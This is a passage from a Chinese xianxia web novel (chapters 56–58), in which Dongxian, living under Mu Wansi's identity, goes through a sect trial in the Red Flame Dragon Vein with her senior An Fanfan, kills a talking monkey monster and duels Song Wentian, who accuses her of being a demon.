这条巨龙生得雄伟高大，玄清宗圈住一部分龙足的位置，在这个范围内，玄清宗能与赤焰龙脉建立联系，弟子们的安全便是能够保障的。
若是出了这个范围，玉牌将没有用处，便是生死难测。
赤焰龙脉的炎热非比寻常，不是简单的高温，这种温度附带灵气的力量，带有五行之中火行的力量，哪怕是他们修士也无法忍受如此炎热，想要起灵防护身体只能有微弱的效果。
早在来前，安泛泛为了赤焰龙脉准备抵挡炎热的冰丝蝉法衣，又以“不小心多买一套”为由“丢”给了东闲。
如今二人身穿冰丝蝉法衣，尚能抵挡住赤焰龙脉特有的炎热。
但是若想往深处走，冰丝蝉法衣就会被炎热融化再没有作效，而深处藏着机遇，东闲舍不得丢掉这次机会。
安泛泛指着远处的密林道：“那就是玉髓灵活动的地方，它们见人就藏，待会找的时候得注意点。”
两人朝那赶去，途中被几个弟子叫住。
谭白道：“安师姐，慕师妹，还真是你们啊，我们要不一起走吧，多一个同伴多条路，我们相互照拂，一起通过试炼。”
跟他一起来的是好友秋岚，还有一个不知姓名模样陌生的弟子，谭白也向她们及时介绍。
“这位是上云峰的阮轻水阮师妹。”
上云峰的弟子主法道，亦有其他道的弟子掺杂其中，东闲心道或许这位阮师妹主修法道。
阮轻水笑道：“慕师姐，安师姐，你们唤我轻水便可。”
对于对方的合作邀请，安泛泛觉得没必要，通关赤焰龙脉或许会吃力些，但是她的情报团已经为她搜集最详尽的攻略，一定能擦边通过及格线。
而且，她带东闲来只是为了拿到玉髓灵，等帮东闲拿到玉髓灵，她便独自去做任务。
其实方才在阵台上打趣安泛泛的弟子也是想跟她合作的，不过安泛泛气在头上没想搭理，故而连提出合作的机会都没有。
安泛泛想开口拒绝，但是话头被东闲先一步接过。
“好啊。”
东闲同时以心音传话，哄着安泛泛。
“师姐，你我都是第一次来赤焰龙脉，不熟悉这里的情况，
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若是突然出了问题，也能让他们帮我们挡挡。”
安泛泛心中哼了声，回道：“我当然想到这层了，要你说。”
一行人钻进了密林。
玉髓灵是个长得像通体散发着微弱荧光的飞虫，一只有成人手掌那般大小，它们藏匿时身上的光芒会黯淡，变为黑褐色，贴在树上几近要融为一体很难看清。
秋岚见她俩睁大眼一个劲地去抓玉髓灵，感到困惑。
“你们为什么要抓这些玉髓灵，玉髓灵能加的分微乎其微，真要抓的话得抓上千个可能勉强擦边过关，而且它们的颜色和这里的树木很相近，光是找都要把眼睛找瞎。”
东闲解释道：“我的识海受伤，需要玉髓灵用药修复魂识。”
安泛泛在抓住又一个玉髓灵后，喊道：“我找到十二个了，东闲你呢。”
“十八个。”
东闲将第十八个玉髓灵丢进储物袋，往里面瞥了眼，储物袋里全是荧光闪烁，这些小玩意睁着眼在看她，圆溜溜的眼睛似乎在祈求东闲放了它们。
东闲朝它们眨眨眼，下一瞬那双双眼睛失去光彩，变为死一般的灰寂。
师姐说过这些都是用药的，没必要都活着。
东闲合上了储物袋，遮住那点淡淡腥味。
安泛泛很开心，她觉得事情在往很顺利的方向发展。
“三十个玉髓灵足够了，慕婉思，你现在可以击碎玉牌，带着这些玉髓灵交给医馆的秦师姐。”
东闲却道：“师姐，我不想走。”
安泛泛要臭脸了。
东闲紧忙道：“我想多陪陪师姐，若是有危险，我会击碎玉牌退出。”
两人约法三章，安泛泛心想有玉牌在东闲也不会受伤，勉强答应东闲，允许她陪在身侧留在赤焰龙脉。
安泛泛很快觉得东闲的决定好傻，明明能回到玄清宗却硬要跟着她在赤焰龙脉吃苦。
这里面真是太热了，哪怕是内衬有冰蝉丝法衣，仍然让人觉得燥热难耐，安泛泛很想回到饭堂吞一口素醒酒冰，再来些软酪和紫苏桃子糕也不错。
虽然后面的那些是珍馐阁才有的糕点，但是慕婉思一定会为她买来的。
她复而有了出去的干劲，指引着小队向二阶虹尾鼠所在地出发。她做了攻略，知道哪些路线好走，抓哪些妖兽就能凑够分。
谭白道：“不着急，我们先去修罗池，那里会有玄天秘宝的下落，如今趁着大家都在努力赚分通过考核，我们可以先下手为强。”
秋岚也道：“有部分弟子会选择先完成考核，不然等他们完成考核了再去修罗池，我们能拿到玄天秘宝的机会可就难了，这群人真打起来可狠。”
修罗池不叫修罗池，它本来没有名字，修罗池内会随机影射各种玄天秘宝的下落，因为大家在修罗池内玄天秘宝的下落后，会为了争夺宝物而大打出手，各个打红了眼，不亚于在世修罗，故而以修罗取名，也是为了方便弟子们记忆与称呼。
奇珍异宝出没的地方也意味着人多，赤焰龙脉是玄清宗最热门的试炼地点，而来赤焰龙脉试炼的弟子，基本上都会去修罗池，因为只有赤焰龙脉有修罗池这么一个提供宝物下落的存在。
大家都不想空手而归。
试炼内的打斗只要不致命都是允许存在的。
56.第 56 章
要去修罗池，必然要打架，安泛泛想也不想就道：“我只需要通过考核，又不要那些东西，不去。”
谭白试图诱惑：“完成考核是一回事，安师姐难道不想拿些宝贝再走吗，兴许这是一份机遇。”
安泛泛心说不想要是假的，但她就是不想去。
倒是谭白话语中的“机遇”二字，惹得安泛泛像是触发关键词般怔神片刻。
她是有份机遇在身来着。
哪个机遇不是危机重重多临死境，所谓机遇伴随着风险，安泛泛就是想安安稳稳快快乐乐地生活，并不想趟浑水，故而这份机遇她一直没有亲自去寻。
安泛泛回绝得更干脆了。
“不去。”
三个人相互觑了眼，有些着急。
他们找上安泛泛和东闲，主要是看中安泛泛炼心境的实力和药修的身份，一路上若是能有安泛泛帮他们疗伤，他们拿到法宝的概率会提升。
至于东闲他们并没有那么器重，他们是听说了东闲经常在演武场不分昼夜苦苦练习，还要正常跟上阵法、丹道与剑道三课，下了学堂更是要到无双峰跟着月华长老精进阵法，刻苦的程度都能比得上剑峰的许望师姐，把许望师姐急得搬了家当直接在演武场住下来。
谁不知剑峰的许望师姐有多刻苦用功，论勤奋努力能甩得玄清宗其他弟子几条街去，而东闲无疑给了她危机感。
但东闲毕竟还是淬灵境前期的实力，来赤焰龙脉试炼的弟子们大多集中在凝元境，少部分是炼心境，像东闲这种实力可以说菜到没眼看，跟她打都怕欺负她。
东闲再刻苦也没办法弥补境界上的缺漏，三个人选择把东闲一并喊上，不过是看在安泛泛的份上。
阮轻水也尝试劝说道：“安师姐，若是情况不对我们也不会久留，到时转头就跑，奇珍异宝固然惹人心馋，但是完成考核更重要，我们保证会以完成安师姐你的考核为先。”
她知道安泛泛的一些事迹，毕竟在人人都怀着飞升梦的时候，还有一个选择摆烂整日玩耍不务正业的存在，还是很引人注意的，安泛泛这个名字在玄清宗内很出名，靠的就是她的咸鱼。
安泛泛仍是提不起一点兴趣，道：“那是你们的事，跟我又无关，你们既然要去修罗沼泽那我们就在此解散，免得相互连累。”
她的态度强硬，惹得几人的面色都不算好看。
阮轻水求助似的看向东闲，希望东闲能多说说好话让安泛泛答应留下。
安泛泛注意到了，态度只会更强硬。
“你们别以为让东闲在我耳边吹吹风就能让我答应，她是听我的，没我的意思她不会听你们的。”
秋岚道：“安师姐，你们要是想要什么，我们也会帮你们拿的，绝不会让你们空手而归。”
安泛泛扭头就走。
“师姐，要不我们也去修罗池。”
是东闲以心音传讯与她，安泛泛顿住睁大眼回头看她，你难道听不见我方才的话吗，我都说了不想去，你是想要我打自己的脸吗。
“好师姐，就去看一看嘛，他们看中你药修的身份，必然会多多庇护你，有师姐你在，我也不会出事，若是情况有变我们先走不用管他们，主动权在我们手上，何况我有玉牌在手，定然跑得比谁都快。”
东闲说得对，但是安泛泛不开心，因为安泛泛明确表示过她的抗拒。
东闲好师姐长好师姐短的叫着，朝她卖着讨好的神情，安泛泛实在被她磨得没了脾气，吵得一颗心静不下来，便走了回来喝了声让他们带路。
她补充道：“丑话说在前头，若是真出了事你们可别拉我们下水。”
三人虽不明白安泛泛为何突然转了主意，不过她能同意是好事，怕多说话又让她走了，要知道队伍内能有个药修在是多么宝贵的事，何况是队伍内唯一一个炼心境的修士，便没再问其缘由。
阮轻水则多看了眼东闲，对方注意到她的视线，朝她轻眨下右眼。
阮轻水默不作声地收回目光，心道慕师妹果然是有手段的，能让安泛泛哄得服服帖帖的，也就她一个人吧。
毕竟屡次让安泛泛创下不可思议的第一次的记录之人，都是慕婉思一人所为。
她不由得好奇，以前的慕婉思是什么样的性子，照她以前的性子还能跟安泛泛处得来吗。
转念又想二人好像以前就没有交集，慕婉思一直待在剑峰，而安泛泛一直待在药谷，若不是一回巧合，两人也不会相识。
赤焰龙脉孕育的生物都不寻常，哪怕是一棵树都有起作效，只要砍下一截枝干，生火能起到燃烧一堆柴木的效果。
一帮人前行的路上，东闲摩挲着指骨上的戒环。
得知她去赤焰龙脉试炼的鸦昤，特意把这枚指环送给她，虽说是个中阶法器，但是实用效果很好，使用时里面会飞出极其纤细的钢丝，可割金切玉。
因为戒环不易惹人注意，方便东闲有时做些小动作。
时有妖兽经过，但是他们身在龙脉外沿，能遇到的妖兽品阶不高。越往中心走，才是赤焰龙脉的危险重灾区。
而处理妖兽一事，东闲根本不用出手。
更准确地来说，是不用安泛泛和她出手。
三人为讨好安泛泛，根本不要她们二人出力，一路上的妖兽都是他们在处理，并且他们慷慨地分出胜利果实，好让安泛泛多攒些分通过考核。
这下东闲也从他们的作战中确定阮轻水主修法术而非阵法。
星宿传承在各种道上会赋予不同的特质，往往都会在危险关头才会动用星宿传承的力量，或者使用的道法必须配合相应的星宿传承，阮轻水没有动用星宿传承，东闲便不知她是什么传承，会得到什么样的特质，也有可能她没有星宿传承，不过这种可能比较低。
东闲根据她的作战表现，估摸着也是凝元境的实力。
她无事时也会去比武台观战，分析其他弟子的作战风格与技巧，这是很有趣的事，通过一个人的作战风格可以影射一个人的性格，她时常会觉得人是有趣的存在。
谭白
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是越霄峰弟子，平日习剑时东闲经常看见他，实力在凝元境中期，有三成星日马传承。
秋岚跟阮轻水同在上云峰，主修炼器，实力在凝元境前期，有三成毕月乌传承。
东闲在一旁观摩几人的作战，发现谭白在作战过程中激出了剑灵，每个剑修能够激发的剑魂形态各有所异，大多是不出现的，谭白的也不会出现，但是他周身运作起来的力量证明他唤出了剑魂。
想要像谭白这般激出剑魂，必须拿到与自身契合的本命剑才行。
东闲占了慕婉思的身份，也该有个自己的本命剑。
可东闲没有。
她以鬼煞冢堪称万金油的回答避了去，路师姐告诉她，她可以去剑峰也就是越霄峰的剑阁拿一把新剑，这是慕婉思作为内门弟子朝阳长老之女应得的。
只是开阁的钥匙在朝阳长老那里，东闲想拿剑还得等朝阳长老回来，所以她手头用的剑便是在外买来的一把。
既是随意买来的一把，就做不到与剑共鸣召唤出剑魂一事。
东闲倒是对拿什么剑无所谓，比起剑法，她更倾向于其他道法。
她本就不拘泥于一道。
东闲观察着他们的作战，也不忘哄一哄闹别扭故意不看她的安泛泛。
师姐是答应她留下，但是没说要原谅她。
她打开从储物袋中拿出来的包装，捻了一块扮相精致的糕点递了过去。
“师姐。”
安泛泛倒也没拒绝，张开嘴，一副等着伺候的模样。
等她咬开糕点，凉丝丝又酸甜的口感瞬间唤醒味蕾，享受着美食的幸福，使得在赤焰龙脉的燥热都在此刻得到缓解。
安泛泛睁大了杏眼，乌溜溜的大眼珠亮晶晶的，盈满了激动与喜悦之色。
“是不是珍馐阁的新品，你怎么总是能买到新品，我为什么买不到？”
珍馐阁时而出新品，只要出新品东闲便特意关照会去第一时间买来给安泛泛，安泛泛曾试过蹲几回都没能抢到，总是听到别的弟子说珍馐阁的吃食刚出炉一个时辰不到就全都抢光了，她真的很好奇东闲是用什么办法保证每次都能抢到！
东闲又捻了块糕点，送入安泛泛嘴中，狡黠地道：“那是秘密，告诉师姐了，我还怎么讨师姐欢心。”
让莫吟洲跑腿的这件事确实不能跟师姐说。
安泛泛内心的阴霾顷刻间荡然无存，她果然最好哄了，给个甜糖示个弱她就能原谅你。
她继续张开嘴，示意东闲继续喂她。
她是跟东闲过不去，又不是跟糕点过不去，而且东闲都哄她了，她大度地不计较也没什么。
一旁因为战斗的耗能而感到些许疲惫的秋岚艳羡地投来视线，道：“那是珍馐阁的新品吗，我起早抢了好几天都没抢到，安师姐，慕师妹，能不能也让我尝一块啊，我愿意出钱。”
安泛泛把东闲护在身后，随即凶巴巴地回道：“不给！”
东闲瞧着她被糕点塞得鼓鼓的侧脸，抓住食盒的手指爬上痒意。
57.第 57 章
越接近修罗沼泽，遇到到的人弟子多了起来，大家都选择结伴同行，几乎瞧不见有人是落单的。
修罗沼泽边上已经围了好些弟子，事实上与谭白他们拥有同样想法的人也不少。
东闲粗略一扫大概围了有二三十个人。
人群之中有道怨恨的目光死死盯着她，东闲觉察到了，故作没有看见，任他如何盯穿这张脸。
阮轻水目光聚在某处，道：“看来我们此行还是不能太容易，来了一些很棘手的对手。”
谭白闻言顺她视线眯着眼看向对岸的人，迎风飘荡的红缎带太过显眼，视线不由得朝那张冷艳的面孔看去。
他惊道：“是无忧谷的郎师姐，在她旁边的似乎是慕容师妹和许望师姐，竟让她们三人结队了。待会我们绕着她们走，尽量不跟她们对上，若是目标有冲突，我们还是让给她们。”
毕竟着实也打不过啊。
郎师姐，郎无双，主修心道，弟子们私下会做出战斗力排行榜，郎无双名列前茅，至于另外二人，分别是慕容灵，许望。慕容灵主修阵法，擅长辅助类型的阵法，许望不用提了，仅次于亓沂，是个剑修，这三个人经常出没在一块，配合得当，加在一起所向披靡。
这三个人一出现，打消了所有弟子想要抢宝贝的心思，弟子们忍不住哀嚎，明明去年她们来过了，怎么今年又来赤焰龙脉，还给不给他们活路了。
修罗沼泽本身并没有什么奇珍异宝在，大家聚集在这，是因为修罗沼泽会给出法器灵宝的线索。
每一个炼器师都会将自己炼制成功的第一件炼器放入各种地方，这种做法被他们称为回馈自然，第一件炼器无论品质都要无条件送入尘世各处，以供他人寻找。
由此带来的感觉不仅给寻宝者刺激与成就感，也在一定程度上能够提升炼器师的名气。
龙足内就有不少炼器师留下的第一件法器，除此之外，据说在千百年前，有个炼器世家就是住在赤焰龙脉上，这个家族也遗留不少法器。
赤焰龙脉的生活条件实在艰辛，修士们哪里能受得了这里的灼热，这种传闻到底不可信，大家只当个乐子听。
靠近修罗沼泽，温度升高，安泛泛感觉自己身上的冰丝蝉法衣有融化的迹象。
她没有理会几个同伴的言语，炙热占据她的整个心神，使得她心情尤为烦躁。
修罗沼泽不但温度高还非常湿润，黏糊糊的感觉让人很是难受，安泛泛不止一次地整理贴在身上的衣袖，最后自暴自弃地任它黏在自己的手臂上。
安泛泛轻轻扯了扯东闲的衣袖，在她看来之际，迅速撒开。赤焰龙脉的温度把衣服都烤得灼烫逼人，烫得她手都疼，亏得是里面套了件冰丝蝉法衣，不然再待下去整个人都要被烤熟。
“他们打他们的，我们在一旁看着就好不用出力，待会要是打起来肯定很激烈，谭白他们未必真的会顾上我们，他们想要我留下是看上我的药修身份和炼心境的实力，我本就未打算出力怎么会帮他们，我们顾好自己，不用管他们。”
东闲看着她被烤得红扑扑的脸颊，顺从的“嗯”了一声，一副全凭师姐安排的模样。
心想师姐还是很聪明的嘛。
这时有人兴奋地喊道：“出了，出了！”
在修罗沼泽内开始投射一道幻影，所有人都眼巴巴地盯着沼泽。
就在他喊的那刻，有一个巴掌大的骰子被抛到空中，于半空中迅速翻滚着，二十面反射的光照在在场几乎所有弟子身上。
那是中阶法器二十定位骰，二十定位骰一共可以记录二十种位置，每个面可以将人传到相对应的位置。
这件空间法器原本是用来辅助的，在现在这种情况下使用，无疑是想把他们都传送走，独吞修罗沼泽给出的线索。
“诸位，好久不见。”一道戏谑的女声响起。
众人看过去，都认出说话的女人是上官莲蓉。
上官莲蓉爱耍诡计，与她对战，永远不知道败在哪些阴谋上，她在弟子们间名声很差，每次试炼时大家都尤为防备她。
绝大多数弟子们注意力皆被郎、慕容和许三人所吸去，不知上官莲蓉也在这，一时不察，给了偷袭的机会。
有弟子在被传送前，气愤而道：“上官莲蓉你这个卑鄙无耻的小人。”
使用二十定位骰的人得了逞，笑眯眯道：“兵不厌诈啊，你自己不设防还能怪我咯。”
上官莲蓉并不是独自一人来，她身侧亦有两个同伴，其中一个长相斯文的道：“先下手为强，也得赶在你们到来之前，诸位不好意思了，就请你们晚点来吧。”
一些来不及反应的弟子们已经骂骂咧咧地被传送到龙足偏远的各处。
东闲同样被传送走，修罗沼泽的物什她并不感兴趣，在不能使用其他能力前，她没有胜算，说实话，她跟着去修罗沼泽是想见见他们怎么斗的，顺便看看能不能捡漏。
一瞬间被送到不知名的地方，东闲下意识观望着四周环境，胸前的听音螺在此时发出滚烫的触感，东闲料想尤长离会再联系她，故而一直将听音螺放在胸口，时刻感受它的温度以来确定尤长离来找她了。
她知道尤长离一定会找她，在把她当作合作伙伴后，尤长离是该跟她透露一些他的底细。
是的，东闲已经知道了尤长离做的是什么，玲珑阁一直以拍卖阁做掩护，莫吟洲所得到的什么能做到“杀人放火的拍卖品”的消息是假的，这是玲珑阁专来诈莫吟洲引诱东闲出面的小手段罢了，他们真正做的事与星宿传承的贩卖有关。
百仙盟明令禁止的便是星宿传承和焕新膏的贩卖。
而玲珑阁做的正是这件事。
听音螺开始传出声音。
“两天后，来幽云城，我需要带您去一个地方。”
东闲在心中默念着幽云城这个地方，据她所知，幽云城是个不受百仙盟管束，各路妖魔鬼怪都能去的地方，那里十分混乱。
“两天后？”
对方听出了东闲的迟疑，道：“您必须要来，这对魔尊也很重要。”
东闲先应了声“好”，话锋又转：“不过你先告诉我是什么让你如此着急？”
“妖人……”
不知何时有根藤蔓悄然来到东闲脚边，在东闲注意听音螺另一方的声音时，猛然缠上她的脚踝并收紧，将她拖入往深处拖入。
事发突然，东闲手中的听音螺倒是没因为一时惊吓落地，但也因这一变故导致东闲错过尤长离话中的信息。
东闲立时拔剑拄地，剑尖钉入地一尺之深，欲借其力与那妖兽抵抗，却是做了无用功。
法修学的术法最基本的是调用五行之力，东闲曾在藏书阁了解过这些基础术法，当下便掐起一道火诀烧断了藤蔓。现下周旁无人
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，她不用藏着掖着。
“您没事吧？”
是听音螺那边传来的声音。
东闲随意编个理由搪塞过去，表示现在有事不方便交谈，晚些时候会主动联系他，然后结束了两人的联系。
她暂时解除禁锢，起身，随意地掸去身上的尘灰，目光在四周逡巡着作怪妖物的身影。
“姐姐，姐姐，到这边来。”
她听到有一道急切的呼声唤她，心道这是一只会吐人言的妖兽，眼底漫上兴色，她抬步随着声源的方向而去。
“对，就是这，姐姐，再往前走走。”
“姐姐，你都不知我被困在这多久了，我的玉牌被这里的妖物夺走，一直没有办法回到宗门，我无奈之下只能四处躲着，却被这里的老妖抓住，它马上就要回来了，姐姐你再快点，快点来救我。”
东闲问道：“那为何不寻死呢。”
对方一时语塞，完全没料到东闲居然会这样问。
“你舍不得，我给你个爽快。”
她身后是不知何时悄然而至的妖兽，而她背上长了眼般持剑便旋身朝其攻去，妖兽猝不及防被她击飞，一剑化数剑又将它困在其中。
三阶的顽灵猴，智力与正常修士一样高，会吐人言，擅长的便是以人言诱骗他人，方才的话便是它道出来的。
见状，顽灵猴抬手招来万道林叶，林叶便化作锐利的飞镖，飞旋着朝东闲而来，片片要人性命。
淬灵境前期对上三阶妖兽定然没有胜算，可三阶顽灵猴对上的是掌握百道秘法的东闲。
东闲以遁影术变化方位，落在三阶顽灵猴眼中，竟连个残影都瞧不见，一道阵法随之形成，顽灵猴便在这阵法中心，六方倏然扔出六道暗光绳索将它困在其中。
是为锁灵阵，能够大大抑制闯阵者的力量。
这六道暗光绳索都有灵力作效，捆住顽灵猴时，同时也给顽灵猴施加压力抑制力量，东闲阵法剑法齐上，一并甩来几道兴起之时作出的符咒。
顽灵猴还能反抗没有关系，她还没有用尽全力。
多道术法齐上，还都是天下闻名的百道秘法，顽灵猴再能撑得住，就是不给百道秘法面子，一炷香不到的功夫，它落败于东闲手下。
顽灵猴猴嘴巴脏得很，气急败坏想骂人，东闲便割断了它的舌头，叫它一句话也放不出来。
而后剑刃比在它的心口，很快划出两道口子，东闲似笑非笑呢喃地道：“妖兽身上，据说当属心这块味道甜美令人回味无穷。”
糊了一嘴血的顽灵猴眼神惊恐地看向东闲，想要发声求饶却只有止不住的血淌出来。
顽灵猴连连摇头，很想说那是谣言，是魔修才干出来的蠢事，好姐姐，你仙风道骨放过我吧。
可惜它说不出一句话，只能发出呜咽的声音，不然那句仙风道骨必叫东闲哈哈大笑。
东闲这边的动静不小惹来了旁人，那人快步赶来被眼前景象震慑得头皮发麻。
宋问天又惊又怒道：“慕婉思，你在做什么！”
“宋师弟，你还是发现了。”
她漫不经心地应着，当面剖心，飞溅的血沾在她的唇边，好似正要大餐一顿的魔。
“魔”朝他看来，饥渴地舔了下满是血的手心，笑得玩味。
宋问天震惊地连退几步。
魔，是魔，慕婉思果然是魔。
58.第 58 章
宋问天终于找到时机可以揭穿“慕婉思”的真面目，可他还没有动作，“慕婉思”就已经自爆出她魔的身份。
人怎么可能会吃妖，只有恶心肮脏的魔才会做这种事。
宋问天有些后悔自己没带投影珠，不然他就能够记录东闲现在的状态，好让大家都能认清东闲的真实面目。
东闲丝毫没有身份被“揭穿”的惧怕，用剑挑下一块妖兽的肉递到宋问天面前，“宋师弟，见者有份。”
宋问天当即甩来一记灵力若刀，拍掉东闲递来的一块肉，看东闲的眼中尽是嫌恶忌惮之色。
东闲被逗笑了，“你现在的表情可真有意思。”
宋问天冷嗤一声，道：“你整日讨好安泛泛，不就是躲在安泛泛身后做她的狗吗，你便是靠着做狗的本事把大家都骗过去。”
东闲丢掉手中完整的妖心，好整以暇地看着他，懒散地附和道：“我确实每日都在讨好师姐，不过狗这个说法有些过分了吧，在师姐眼里，我怎么能跟畜生相提并论，宋师弟说这么多，是想做师姐的狗吗。”
她轻轻笑着，带有淡淡的讽意。
宋问天勃然大怒，“慕婉思，你看清楚了，如今这里只有你一个人，我马上就会让他们所有人都来这，看清你的真面目。”
东闲按住腰际，为了方便及时退出赤焰龙脉，弟子们都会将玉牌挂在腰际，待会打起来，她得注意自己的玉牌不能被宋问天震碎。
在不暴露其他秘术的情况下，想要打败大她整整一个境界的宋问天是痴人说梦，一个境界便已是难以跨越的鸿沟，东闲是没办法打败宋问天。
她便估算着从宋问天手下逃脱的可能性，她的指环可以趁其不备时动点手脚，前提是宋问天要给机会。
她的那些秘术也有施展的余地，处理得好宋问天不会发现。
赤焰龙脉时而有妖兽出没，把妖兽吸引来也能逼迫宋问天停手。
像是回应她似的，周方天地瞬息而变，来自赤焰龙脉的灼热暂时消退，她被拉进灵域当中。
好的，把妖兽引过来的念头是彻底被恰断了，这回必须大干一场。
东闲思量着自己能有哪些秘绝派上用场，宋问天已经拔出他饥渴难耐的剑，同样修剑，拥有四成星月马传承，只不过他的剑术承的是宋家剑法。
高出一个境界，会体现在同一个招式上，宋问天的力量会比她更强大，东闲的败退是必然的，这本就是不公平的比试。
宋问天可管不着，他只想泄愤，东闲这只可恶的魔就是该死的，何况她竟敢对自己的灵识动手，她本该是欠他的，她必须还回来。
东闲知道宋问天不会对她手下留情，对方已经认定灵台的损伤是因她而起。
灵域的出现就表明了他的态度，在灵域之内，玉牌的联系会被斩断，东闲无法选择自断玉牌退出灵域，这回宋问天不让东闲吃大亏绝不可能放东闲回去。
东闲手搭在剑上，犹豫着要不要用那些秘绝，如若要暴露，她今日离开赤焰龙脉之时，便是离开玄清宗之时。
她已将朝阳功法深刻地印在心中，她要比谁都清楚每一招的精髓所在，哪怕是朝阳长老在此，也会为她的表现而大吃一惊。
在他动手的那刻，东闲也做出决定。
先尽量不暴露身份，实在不行只能用百家秘法绝学。
朝阳长老的独创剑法，以其名命名为朝阳，共八招。
她能彻悟八招但敌不过境界上的差距，想要击败宋问天，必须另寻法子。
灵域内的世界与开启灵域之人有关，里面的景象变化都引开启灵域之人而起。
她扬剑挥斩一道剑气，身后的古木巨树，受剑气影响，鲜红落花纷扬而下，似沁血，剑气扫射之处腾起煌煌烈焰，直逼宋问天眼前，引得宋问天掐起御风诀避开。
灵域由念力形成，古木巨树煌煌烈焰不是宋问天灵域之内的存在，东闲显然影响了宋问天的念力。
念力是天生的，不能为后期加强，强大的念力可以别人的灵域，将利于对方灵域的优势转化为自己的甚至是占据，得知东闲还能有这等实力，宋问天有些意外，当下多了几分认真。
两人你来我往，两剑火星迸溅，若非境界压制，东闲还真见不得在下风。
东闲非但能一一撑下，朝阳功法运用得如火纯青，更是能用念力影响他的灵域，又悄悄使用遁影术闪避一个又一个危险。
宋问天：“没想到你这只魔还有一点功夫，打起来也有意思。”
东闲：“你也出乎我的意料。”
宋问天这人脾气差，容易动怒，但是实力不弱，在这代弟子中资质还算不错。
东闲是真想跟宋问天好好打一场，用那些秘术来斗，在演武场中斗的毕竟是阵法计算出来的东西，东闲很想知道自己的秘术加起来能打得过什么境的修士。
她有底气来赤焰龙脉是她那一身秘术给的，靠着秘术她把演武场的阵法从黄阶刷到玄阶中，无脸人也不再如初始小看她，要的钱也多了。
宋问天两眉打结，显然不满东闲的发言，他正要发作，面容倏然凝固。
这群围绕在他身侧的那些沁血的花瓣似乎一直在飞扬从未落下，因为地上腾起的烈焰他没能第一时间发现这等变故。
不对，那棵古木巨树有古怪。
宋问天先前以为是东闲的念力影响了他的灵域，事实并非如此，那些沁血的花瓣另有古怪。
她用了什么方法，她不是只会用剑吗，就算是过去的慕婉思，也没听说过修习其他道，难道是阵法，她才学了几日就有如此成就？这又是什么阵法？
东闲道：“我还以为你会再晚些才能发现。”
东闲用的不是念力，而是法术，她以花为意象，将力量藏在于花间，等到把宋问天引入花瓣飞舞的范围内，这些花瓣自会对他出手。
若是宋问天能好好看，他会发现在她身后的那棵古木巨树形态像极了一只火凤凰，所谓的沁血的花瓣是凤凰尾羽撒下的星火。
东闲心有遗憾，暗道还是境界太低，不然何需还要将宋问天引进法术施展范围内。
宋问天越发确定东闲的不正常，道：“慕婉思，你在鬼煞谷果然拿到了什么，真不知道你是用了什么法子躲过了长老们的眼。”
东闲不言，以剑气牵引着花瓣，这些花瓣如飞坠的流星，急速地朝他攻来，每一朵都裹挟着灼烧之意，在快要接触宋问天时，又会炸开，漫天血丝飞舞。
宋问天一剑化数剑，形成一周的盾牌将他护在其中，挡住了密密麻麻的花雨，暂时不受影响。
“也罢，先让你现出原形再解决你。”
他手下翻转，藏在袖口的凝玉箫拿了出来。
见他拿出凝玉箫，东闲便知他要做什么，他选择现在这种时候让她现出原形，怕是感应到有人来了。
凝玉箫并不需要奏箫人有多少基础，只要吹奏就会起效。
所以在宋问天吹起凝玉箫的时候，东闲掌心的红痣开始灼烫。
东闲自是没有与魔修苟合，但是她曾在乱葬岗让一块来自魔修的玉佩认主，凝玉箫的奏鸣引动了它，她感觉那点魔气就要被具象化出来。
宋问天见她有反应，自得地道：“你果然与魔修有染，就让所有人好好看看你的真面目。”
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>宋问天掠出一张引雷符，轰隆隆的天雷在他头顶翻滚，被他引到一剑内，长剑便附着着一条雷蛇，发出噼里啪啦的嘶吼。
他已然是打得不管不顾了，东闲说不定还有其他手段，他是要迫害猎物的猎人，怎么会给她喘息的机会。
然而他的招式并未能如愿出手，灵域遭到外界破坏，他因为念力受到侵害，浑身的力量溃散，而被迫撤剑，脸色煞白。
有人气愤喊道：“宋问天又是你。”
感受到灵域有崩塌的迹象时，东闲已经收了法术不让来人看见她如何出手。
因这熟悉的声音，东闲禁不住看过去。
低境界者的灵域可以为高境界者察觉，安泛泛一下注意此方动荡的灵力。
她与另外三人恰好被二十面传送骰同一面所照到，所以四人是一起而来，合力击碎了宋问天设下的灵域。
身后的谭白和秋岚两人飞上去把宋问天架住，以免他想继续耍花招。
看清那个人的面孔，东闲这回着实愣住了，因为她没有想到安泛泛会来得这样快，安泛泛是在附近吗，世上怎么会发生这样巧的事两次，安泛泛好似总能够及时赶到护在她面前。
安泛泛见她呆呆看着自己，也不像以往那般唤她一声师姐，肯定她是被吓住了，不免越加气愤，觉得宋问天真是可恶极了。
宋问天心情极度不美好，每次找东闲的茬，总有人打扰，见安泛泛还因自己对东闲出手生气，他恨不得甩一甩安泛泛的脑袋，把里面的水都倒掉。
“我欺负她？你看看她身上哪里有伤，我告诉你们她就是魔，能从鬼煞冢那个鬼地方活着回来，说不准早被什么孤魂野鬼占了去，你们都被她骗得团团转。”
东闲被他恶狠狠的眼神吓到，躲在安泛泛后，弱弱地道：“师姐，我怕，我从鬼煞冢用了一身修为和记忆才得以侥幸回来，可宋师弟总是不相信。
“我可以发誓我不是什么魔，更没有被什么孤魂野鬼占去身子，长老们并没有检测出我的问题，就连清微仙尊也没有，我不知道为什么宋师弟坚持指控我为魔，他方才还说要杀了我，若不是师姐及时赶到，我还不知我……”
宋问天看到她这副装无辜模样就来气，又忍不住想动手，而在谭白与秋岚的阻拦下，他没办法出手。
他这一举无疑证实了东闲的话，加深了他人对他卑鄙凶戾的印象。
安泛泛道：“够了，你少骗人，都是你先欺负慕婉思，欺负她不成就开始造她的谣，如今在赤焰龙脉没人为你收拾烂摊子，就像我想打你，你得乖乖受着。”
安泛泛撸起袖子，抽出腰间的软鞭，已然是一副准备大干一战的模样。
宋问天恨道：“我可是用了凝玉箫试探出她身上的魔气，慕婉思，你还不承认你与魔有染吗？”
瞧见他手上的凝玉箫，另外三人皆是一怔，目光复杂地望向东闲。
东闲知道此刻自己多说多错，便作出茫然无辜的模样，她已然发现了，凝玉箫的缺陷是，只要有一点魔气都能被揪出来，所以这不一定就能证明她与魔修有染。
再说了，她可是货真价实的人，可不是什么魔。
东闲现在要做的是不知，扮演好她曾失忆的身份。
安泛泛想也不想，本能地偏向东闲，为其袒护。
“你那凝玉箫连被魔踩过的泥都能检测出不对劲，慕婉思在鬼煞冢待了那么久，身上也有被魔打出来的伤，当然禁不住凝玉箫的检测，要不然你去一回鬼煞冢再来试探你有没有魔气啊。”
听到这，东闲投去惊异的视线，一个念头无比清晰。
师姐真是无条件地袒护她啊。
59.第 59 章
